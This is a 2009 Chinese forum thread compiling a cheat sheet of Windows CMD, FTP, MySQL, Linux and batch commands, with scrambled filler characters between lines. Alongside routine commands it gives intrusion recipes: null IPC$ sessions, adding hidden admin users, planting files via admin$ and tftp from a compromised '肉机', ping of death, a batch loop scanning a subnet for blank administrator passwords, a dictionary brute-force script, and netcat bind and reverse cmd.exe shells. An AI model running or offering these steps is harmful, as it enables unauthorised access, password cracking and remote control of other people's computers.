下沙论坛
标题:
CMD命令大全
[打印本页]
作者:
秋风舞落叶
时间:
2009-5-4 09:32
标题:
CMD命令大全
一:
2 [- ^( M1 ~: b1 n. H; ?
net use ipipc$ " " /user:" " 建立IPC空链接
" u4 {: Z3 H( e* Z1 ~
net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
* a, ?- I) a9 S- D7 a
net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
, R6 R# R7 l1 E W
net use h: ipc$ 登陆后映射对方C:到本地为H:
5 U) C0 F6 ?7 V: b0 ]) i
net use ipipc$ /del 删除IPC链接
2 l$ Q$ q% G+ h- x
net use h: /del 删除映射对方到本地的为H:的映射
2 I) M6 q+ ~' Z
net user 用户名 密码 /add 建立用户
{) k5 O5 U t
net user guest /active:yes 激活guest用户
4 z2 B9 p# L% X. n6 M; I$ s
net user 查看有哪些用户
! S% O1 U; E6 z1 i4 ~$ }
net user 帐户名 查看帐户的属性
/ N+ B1 {) L7 u
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
- |- a' o- ~! P6 f+ G1 e2 x8 m
net start 查看开启了哪些服务
3 f u7 A' C: A* q5 J$ o
net start 服务名 开启服务;(如:net start telnet, net start schedule)
( f4 D: I' T+ J5 O( K a
net stop 服务名 停止某服务
( v0 [* p! G- V5 p6 _9 B F4 Q
net time 目标ip 查看对方时间
9 v% ~: E3 g, T7 I, B. g
net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
- d2 G* O! X$ c- Z( o+ G
net view 查看本地局域网内开启了哪些共享
+ v4 V5 c7 @# p
net view ip 查看对方局域网内开启了哪些共享
& Y7 z& }/ `. j; A. d
net config 显示系统网络设置
7 s% ]' c; d- P: ^
net logoff 断开连接的共享
' q! W3 o' _& L% \( U3 j
net pause 服务名 暂停某服务
8 T ^2 E5 X b1 `8 _
net send ip "文本信息" 向对方发信息
. q( @ S8 D$ @: j% R2 ]! W
net ver 局域网内正在使用的网络连接类型和信息
% a% g* d8 r5 V ?! v+ X
net share 查看本地开启的共享
1 t3 q0 q, {2 z% O4 X, E4 G8 w
net share ipc$ 开启ipc$共享
% _7 t" b0 {9 u, A% q
net share ipc$ /del 删除ipc$共享
6 Z, F5 s" a! @" f
net share c$ /del 删除C:共享
2 Z" q6 D% s3 B. E7 Y8 a. _8 ^
net user guest 12345 用guest用户登陆后用将密码改为12345
4 E* Y ^6 ]* z
net password 密码 更改系统登陆密码
* a' M# ^% c" T: R& X. _( }9 y
netstat -a 查看开启了哪些端口,常用netstat -an
/ n+ d' P% d" @% `' k2 x
netstat -n 查看端口的网络连接情况,常用netstat -an
& b d9 u3 D" U: {+ v
netstat -v 查看正在进行的工作
W t7 t& b2 I8 |1 ~
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
/ V" c$ V; W# T& M% @3 O) o
netstat -s 查看正在使用的所有协议使用情况
* H% u# P7 x% b
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
3 S' }+ f6 ?/ A" W, x% z, o
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
* T' W2 ]* \) B+ z5 @1 |
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
4 h' v3 \# W3 `
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
' W7 u; g2 g( d: g0 M
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
6 C+ \* C5 a5 M4 T- D
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
7 d1 i% o% L z
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
5 u% ?9 U5 g& m( c) ^+ g# p
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
# _ A; S& g. [! S9 u; O- K
作者:
秋风舞落叶
时间:
2009-5-4 09:33
二:
$ {: e4 N4 W( E' Z& t$ r
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
& \1 T1 Q: D( i4 m9 M- M. ^/ j+ d
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
i- I6 D% G! e9 t0 \1 z
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
5 K7 [8 X1 {" O% T+ l
at id号 开启已注册的某个计划任务
! a6 d& c$ g7 p1 F( p; C+ y$ ~
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
5 G6 F4 t6 Z7 C, I: H. |4 g* ^
at id号 /delete 停止某个已注册的计划任务
) a+ C; V5 A8 J% w+ K0 |9 J
at 查看所有的计划任务
6 f5 b! j6 J" Y2 l* H! ?7 f
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
P8 L# O' a& d$ O$ g( e: K' g+ Z
finger username @host 查看最近有哪些用户登陆
- e' w. p5 ? o6 V# Y
telnet ip 端口 远和登陆服务器,默认端口为23
5 [; K: Q6 ]- f2 b0 V- T7 S
open ip 连接到IP(属telnet登陆后的命令)
/ @+ f% R( U# |9 x3 L- z4 V
telnet 在本机上直接键入telnet 将进入本机的telnet
/ G0 A/ T/ s, C0 u' I$ i, w8 q6 k
copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
3 O, i9 Q3 Y" {* i6 i' F
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
3 A. f, k* D# {# [$ v
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
* G b5 w1 R+ G0 V; j2 z1 A& \
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
8 I7 @- |4 y* V; ?! K! A
xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
+ d6 P+ [6 N B1 A3 x( ]5 l' k9 f. c, {
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
, G- S. Z) [" T" I0 r2 w; z
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
" Y+ A/ x( T# c& O
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
1 m" q& E9 a# E) D
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
& J2 X9 G. \( b2 e& t" ~
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
" d2 w# j6 G: L% \
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
- B( m# R: }, u4 X
mem 查看cpu使用情况
( T) G% _8 K/ _! ^& V9 @3 E
attrib 文件名(目录名) 查看某文件(目录)的属性
s3 j4 C/ L- l5 `: F$ p1 s
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
4 ~3 }" k; ~% D" ?% H
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
9 Z6 m6 U! m* x& e6 P) V* b# L
date /t 、 time /t 使用此参数即“DATE/T
8 C9 `& Q. A5 ~0 k! ^. z$ p
”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
0 l3 T& X0 S1 L3 d8 c$ {& \6 E; ]
set 指定环境变量名称=要指派给变量的字符 设置环境变量
; q; ]9 i w; D" Q6 \2 A
set 显示当前所有的环境变量
3 x6 ^6 \- \% [- K4 t% h8 R5 X# e* m
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
$ I6 P# J: F _: I$ Q
pause 暂停批处理程序,并显示出:请按任意键继续....
- K( g- T5 T( H* t# H# R4 M
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
' ?7 F- ?% O7 U, F/ ^# P* G3 }
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
6 _8 B- A0 |/ J9 A6 d* T
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
; ~" c `5 y/ q
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
, t( b) e3 U4 |
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
: r6 I6 U5 ~! K8 ~
echo 信息 在屏幕上显示出信息
7 I2 q' y9 |; E6 P5 D% S
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
# W9 `9 \. F( ?; ~
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
; ]/ V' e& l0 ]+ R
find 文件名 查找某文件
( W: F1 G8 k% P T) V+ P
title 标题名字 更改CMD窗口标题名字
9 f- ?" N% m6 C6 p n
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
" a1 H/ {$ s1 Z- `$ k D
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
' ^9 h) G A2 w G: ^9 Q. f
作者:
秋风舞落叶
时间:
2009-5-4 09:33
三:
/ b# N4 S, x4 x8 J
ver 在DOS窗口下显示版本信息
$ ^" l: E, V4 Y o6 {- e' M
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
, I" @3 Q' b, ?; }
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
G) G- O$ n6 K$ j
md 目录名 创建目录
- k# u8 x. n/ F7 {! l( t
replace 源文件 要替换文件的目录 替换文件
2 O0 K1 U |5 C# z) b
ren 原文件名 新文件名 重命名文件名
* w% d: l" V4 Z2 v. @. ]: n0 |
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
1 p3 n! A% o5 Q: ]: Y/ j
type 文件名 显示文本文件的内容
# D" Y4 J( D2 y2 R# |
more 文件名 逐屏显示输出文件
# t5 j2 a7 i3 A
doskey 要锁定的命令=字符
0 C1 F& ]9 a A& I
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
& d, R% ]4 f$ \
taskmgr 调出任务管理器
K) ?* D# B* s! ?$ a# d1 N
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
, J% G; H& E4 g" C, j% F
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
$ u& ~* @+ I' f# X' v2 b
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
" C4 P& ]# w9 K/ j& d5 y5 P1 m+ p
path 路径可执行文件的文件名 为可执行文件设置一个路径。
- O2 q7 B& m/ ^' F5 ^2 A% D# x9 ]
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
9 g+ y. A+ H3 U8 U L1 ?$ A
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
. S5 U3 n Q) U; S
regedit /e 注册表文件名 导出注册表
$ S7 ~1 q/ E4 G, T
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
( J/ w; o6 M4 m) L) H o T
cacls 文件名 查看文件的访问用户权限列表
2 b0 N7 K& R" F/ L' l g
REM 文本内容 在批处理文件中添加注解
8 e) ?, S- d- u) k! M
netsh 查看或更改本地网络配置情况
, X3 Y1 p; Q- L2 I
作者:
秋风舞落叶
时间:
2009-5-4 09:35
四:
8 _4 l' T1 |9 j- e- q- s
IIS服务命令:
6 Q$ f! q3 A: w- v
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
# V# z) f3 a, r) W" B v* u
iisreset /start或stop 启动(停止)所有Internet服务
# E, h" Q ~- }2 ?: H: U T$ W
iisreset /restart 停止然后重新启动所有Internet服务
* x+ b d: u2 Y; q9 F! n, {, ~
iisreset /status 显示所有Internet服务状态
: B2 q- w2 b% ]4 _. p1 q* i
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
0 f/ T& d9 a2 v% U% ?6 z
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
& E c& N8 i! D0 |/ n1 [, p
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
8 a; h7 B3 w4 j6 s0 x! J
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
/ c2 Y I+ |- O- }6 y
FTP 命令: (后面有详细说明内容)
, l6 N- f0 k4 O# n
ftp的命令行格式为:
( D: p% v" O% x0 o# d4 |" ]$ m
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
3 @$ n/ C7 m2 @6 C% D
-d 使用调试方式。
/ o) x$ x; B& ^4 H
-n 限制ftp的自动登录,即不使用.netrc文件。
) A7 d! H7 P% N0 f8 o; a5 X! ^
-g 取消全局文件名。
" s, a) M; @4 r
help [命令] 或 ?[命令] 查看命令说明
& s: D2 Y* u; p. `2 k5 D1 @3 C- Z
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
+ H0 y- @" s6 q1 h6 m
pwd 列出当前远端主机目录
" a4 P* f/ f9 M; k. n
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
" X2 n9 ]: L6 @6 ?( _& {5 J
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
2 p/ \8 t p6 D% `) j5 e
mget [remote-files] 从远端主机接收一批文件至本地主机
" ]' j" E/ `. N1 b
mput local-files 将本地主机中一批文件传送至远端主机
4 o' m4 W) ]2 ~/ _+ N
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
4 N$ C" ^! R4 p' \7 |
ascii 设定以ASCII方式传送文件(缺省值)
b# [$ @8 C4 w c- z, X
bin 或 image 设定以二进制方式传送文件
' |2 ~! Z9 P8 k+ _" P v
bell 每完成一次文件传送,报警提示
2 t# k( P& V, ? B0 S b
cdup 返回上一级目录
: g. ~' n5 o1 r2 f) K- Y. D
close 中断与远程服务器的ftp会话(与open对应)
4 m, `4 f5 d' n1 \. `# Z' Y
open host[port] 建立指定ftp服务器连接,可指定连接端口
& \ r. L$ K0 Q$ A! C
delete 删除远端主机中的文件
" n/ Z& y+ L8 ]4 z4 H3 J. V
mdelete [remote-files] 删除一批文件
1 C5 L# A% J2 y' r( r ~" [5 q( I
mkdir directory-name 在远端主机中建立目录
4 {0 P: A" m8 M3 E* _, b% b0 i
rename [from] [to] 改变远端主机中的文件名
5 {3 }* A/ V/ O: x
rmdir directory-name 删除远端主机中的目录
! q3 e2 x& H, k+ t, Y/ V
status 显示当前FTP的状态
! N; f7 A, k; A; x ?, P% i* P: e
system 显示远端主机系统类型
. z C8 ^6 X$ N" z7 w0 c
user user-name [password] [account] 重新以别的用户名登录远端主机
7 w" h$ O4 F1 F2 R
open host [port] 重新建立一个新的连接
( g; I7 y& k9 B/ C
prompt 交互提示模式
' ]" _3 I, M# ^
macdef 定义宏命令
) ^! k$ R9 D+ N8 ]
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
; C9 |8 F: ]& H5 B3 G8 M D& i
chmod 改变远端主机的文件权限
& n8 p' L4 J9 p( S4 l0 J. P4 R: X
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
, B! M: y' F9 f5 u2 _7 O0 t* Q
cd remote-dir 进入远程主机目录
' C" Q" ?6 G; V. `
cdup 进入远程主机目录的父目录
) M. _$ \; Y/ L0 _- z" U
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
作者:
秋风舞落叶
时间:
2009-5-4 09:35
五:
7 R6 j9 ~6 I5 T% I
MYSQL 命令:
/ O c# s* G' ~; F/ d8 t
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
* F! ]1 [+ k) w/ K8 Y. _
(例:mysql -h110.110.110.110 -Uroot -P123456
. l4 R+ _' V( z
注:u与root可以不用加空格,其它也一样)
" i$ D0 G) X% Q$ B+ r
exit 退出MYSQL
6 R$ a1 C, @- ~* ?0 O) u C+ u
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
+ S) J" J5 a+ J& F
grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
. y( Y) ]: l' E% K$ r1 R
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
1 c& j2 G# H" E
use mysql;
; ~1 b1 C, e/ a. p1 K4 Z
show tables; 显示库中的数据表
6 U8 s) ~: `0 h" w: m; W
describe 表名; 显示数据表的结构
. \! {/ k% a5 E6 `! O7 Q) B
create database 库名; 建库
" P6 T* x. T2 Q- M+ f
use 库名;
2 K- V4 N8 r- v+ O
create table 表名 (字段设定列表); 建表
* z/ D8 ?' d- \. q. m7 ]! z
drop database 库名;
. ]7 _# ~: Z( k: J# K; z9 K4 F
drop table 表名; 删库和删表
, ^" H B" c2 |; K
delete from 表名; 将表中记录清空
& e. e! P, O' x$ W8 j2 A7 L
select * from 表名; 显示表中的记录
! i) B; K: C9 V8 S% [3 N/ z
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
5 L7 `+ B8 ~5 I5 h; r
win2003系统下新增命令(实用部份):
5 Q, E4 R s$ b& E; X' B8 }
shutdown /参数 关闭或重启本地或远程主机。
+ F$ r! `) d6 N$ \* H% v5 U* k6 Q
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
1 J6 O' V$ O: ?2 M6 _( a# |
例:shutdown /r /t 0 立即重启本地主机(无延时)
0 S' ~4 m1 f% f: n" e
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
3 o$ i1 Z3 M M% f" R# ^
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
: P) l E1 W- }! \, [% v
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
7 Z; I8 @5 c n* ]; W5 r) H
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
作者:
秋风舞落叶
时间:
2009-5-4 09:36
六:
. G) Y% w, L9 e* p2 b
Linux系统下基本命令: 要区分大小写
& r5 @ g. b. g/ B
uname 显示版本信息(同win2K的 ver)
& I9 d& ~& [0 ^* `
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
! M R- p( K8 a8 _
pwd 查询当前所在的目录位置
( j% l G7 ?/ v
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
. D) W- j0 x) K4 H( l/ P
cat 文件名 查看文件内容
6 J* ^! q( l& f* f# [
cat >abc.txt 往abc.txt文件中写上内容。
' b( ]7 @" Q; t4 P$ @; ^& ?
more 文件名 以一页一页的方式显示一个文本文件。
5 D, k& A6 O8 f* c( n4 ]: O; S
cp 复制文件
4 [7 I, \4 ~. k" M/ k$ B. O W
mv 移动文件
1 v& f) P. q+ `. X5 @% F) d+ L
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
) {5 b. V' X/ b* h0 S1 I
mkdir 目录名 建立目录
% {$ A, n/ {& {
rmdir 删除子目录,目录内没有文档。
& X; j9 ~. B. l( s
chmod 设定档案或目录的存取权限
& Z) c; j* x' V" k" k
grep 在档案中查找字符串
2 n- ~# q$ b& @: A; i
diff 档案文件比较
5 I( {" u L3 X" ^* b
find 档案搜寻
" x3 K0 n6 U" b9 y
date 现在的日期、时间
) I2 E) s7 J* h8 [) a- C2 [
who 查询目前和你使用同一台机器的人以及Login时间地点
% U, L, r* e- a1 A" r/ N
w 查询目前上机者的详细资料
7 Q' q& H$ V8 ?
whoami 查看自己的帐号名称
0 o t. }. m8 @5 o5 k1 h/ `
groups 查看某人的Group
: J B5 |/ [# g6 h0 F4 E# ?
passwd 更改密码
; m7 f/ G+ r7 ?/ M
history 查看自己下过的命令
6 {# r: Z$ R# e
ps 显示进程状态
9 l+ k& }: w6 H/ S
kill 停止某进程
S: j; |/ @0 j- z; |- G" S
gcc 黑客通常用它来编译C语言写的文件
( H+ j" t: ?0 M
su 权限转换为指定使用者
$ i. Q4 ~* a5 g X9 G. e
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
+ \% ?, P- n7 y) x8 L4 K
ftp ftp连接上某服务器(同win2K)
# ?& z/ @, x3 H5 a( b5 a
附:批处理命令与变量
$ R$ o3 u( M/ v1 H) I2 r+ a
1:for命令及变量 基本格式:
' G& r7 H0 [* `* [
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
7 ~* g4 A$ d* d9 [6 J" `1 A
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
( B* |# H7 t7 K- W! _# |, |
(set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
, x) _% |/ a9 M$ i, @# N8 ]) Q" W* I* d
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
# ~8 @" ?2 V! N7 P) Y
command_parameters:为特定命令指定参数或命令行开关
) L( G: [/ H5 }) ~4 C
IN (set):指在(set)中取值;DO command :指执行command
" K' ]2 C7 _1 O1 q
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。
w" b. ^% H. Q& F% u
用法举例:
6 E& z+ Q9 U! m9 w+ @
@echo off
: s7 w" }8 T8 ?
echo 用法格式:test.bat *.*.* > test.txt
* j: n5 v0 P. S s, E( [8 h" a
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt
$ y# ]4 y2 i! u4 }& G) K/ C8 w
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
8 m+ O7 @+ F! m; Y- A5 O9 l( v" D+ b
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
& b- v1 P$ E0 I: O/ n% u6 \8 A
@echo off
+ Q- s. n" q; \1 E9 v9 v
echo 用法格式:ok.bat ip
; [+ o& S- T* V9 U* A2 S% p
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
* a8 K* {* }9 }7 J7 o, w$ K; V
存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
; u0 _ v0 F3 g
作者:
秋风舞落叶
时间:
2009-5-4 09:36
七:
7 ^ X* s/ U; S; e; |& ]" B
2:if命令及变量 基本格式:
8 g. ^, V4 D$ S/ ?# }
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
S/ |* \8 H) _
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
$ r7 h- z( D R2 y0 `* w
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
- E/ m: G G! A+ D
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
9 s$ p9 ~, h# k2 j+ K+ P
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
( F- z6 i& s: Z9 N8 j9 e3 k
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
' s" C; a8 A4 K- g6 S4 L
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
* T9 `: t* E4 Z. @
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
5 ~, [& h* @8 t1 D) D) f
(二)系统外部命令(均需下载相关工具):
2 c) i' ^: v) n/ l
1、瑞士军刀:nc.exe
/ M, z$ N' m9 W
参数说明:
$ d# m- b! {" g5 I
-h 查看帮助信息
) e" p6 q" p1 V$ b2 ~
-d 后台模式
9 f- n1 l, ?1 T' q0 P
-e prog程序重定向,一但连接就执行[危险]
, [ \" s, e k4 _7 k# N6 J3 l4 |! x
-i secs延时的间隔
9 Q9 q* B& W/ ^7 W0 `, a
-l 监听模式,用于入站连接
% g0 l, _" k7 @, T8 R) u% f
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
y. J* R7 N" S( j2 I3 K
-n IP地址,不能用域名
/ p0 q; [3 v, `! l& V r& L" R R
-o film记录16进制的传输
. Z$ [4 y! E6 u, A
-p[空格]端口 本地端口号
2 k) g) m E! H1 P/ R( M
-r 随机本地及远程端口
: K& [0 x. I! F- Y; b# U
-t 使用Telnet交互方式
% x/ R. ~: k- S9 i5 A
-u UDP模式
! G! O5 s; n$ l6 F' q$ T0 g& N: {
-v 详细输出,用-vv将更详细
- [* ^( x O, r; Y
-w数字 timeout延时间隔
! D' v6 c. G1 b' S
-z 将输入,输出关掉(用于扫锚时)
' c V! L9 P7 x, e. {) e7 v: Z8 _2 _! V
基本用法:
" [( Y( I9 C7 \) |
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
6 L" f$ x% n) f, z3 `) f, R
nc -l -p 80 开启本机的TCP 80端口并监听
( Y( `3 l7 a3 a- T; Y( f3 w
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
6 R4 k2 \5 I' J5 p; S6 U3 U8 f
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
) d1 o% i, ?% G3 C% |
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
- a3 G1 E( r$ r
高级用法:
, \0 i R& M" |3 j# U& |* s
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
( z. Y2 P4 d! O' J2 I: Y) C
nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt
2 q9 }7 z/ F6 A- H* d7 ~5 Q
nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
3 M, y! y1 _" M0 R
type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
